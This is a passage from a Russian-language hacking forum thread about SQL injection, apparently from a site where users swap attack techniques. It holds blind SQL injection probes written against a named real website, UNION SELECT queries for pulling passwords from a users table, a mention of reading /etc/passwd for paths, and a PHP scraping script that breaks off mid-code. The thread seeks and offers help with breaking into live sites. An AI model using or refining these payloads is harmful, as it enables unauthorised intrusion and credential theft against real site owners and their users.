а при чем тут шелл? вопрос был в том, чтобы найти абсолютный путь, я подсказал, он указан в /etc/passwd, а папку с правами на запись уж пусть сам дальше ищет

что ж ты нервный-то такой

Не спорьте с Gorev. Он прав. И прекращайте флудить.

Не всегда.

можно такой примитив заюзать например

[PHP]
[COLOR="#000000"]functionololo($url,$proxy='127.0.0.1')

{

$ch=curl_init($url);

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

curl_setopt($ch,CURLOPT_PROXY,$proxy);

$content=curl_exec($ch);

curl_close($ch);

return$content;

}

$num='1000';// максимальный id

$regex='~(.*?)~';//ну ты понел

$f=fopen('db','a+');

for($i=0;$i[COLOR="#007700"]

http://www.bookmg.ru/news/post/id.15'

можно ли раскрутить?

как слепую точно можно:

true:

http://www.bookmg.ru/news/post/id.15+and+1=1

http://www.bookmg.ru/news/post/id.15+and+substring(@@version,1,1)='M'

http://www.bookmg.ru/news/post/id.15+and+(select+system_user)='sa'

false:

http://www.bookmg.ru/news/post/id.15+and+1=0

Мог бы кто не будь рассказать или дать ссылки на русское описание по использованию(или видео) JBroFuzz?

Был бы весьма признателен.

P.S.Видео от создателей видел(OWASP),но может есть от наших умельцев.

используя такую конструкцию пытаюсь извлечь пассы

union select password,2,3,4,5,6,7,8,9,10 from users --

выводит 1 пасс

групконкат не работает

union select password,2,3,4,5,6,7,8,9,10 from users limit 1 --

выводит тот же пасс

union select password,2,3,4,5,6,7,8,9,10 from users limit 2 --

выводит тот же пасс

union select password,2,3,4,5,6,7,8,9,10 from users limit 1,0 --

union select password,2,3,4,5,6,7,8,9,10 from users limit 1,1 --

union select password,2,3,4,5,6,7,8,9,10 from users limit 2,1 --

ничего не выводит

почему так может происходить? Как правильно сделать запрос?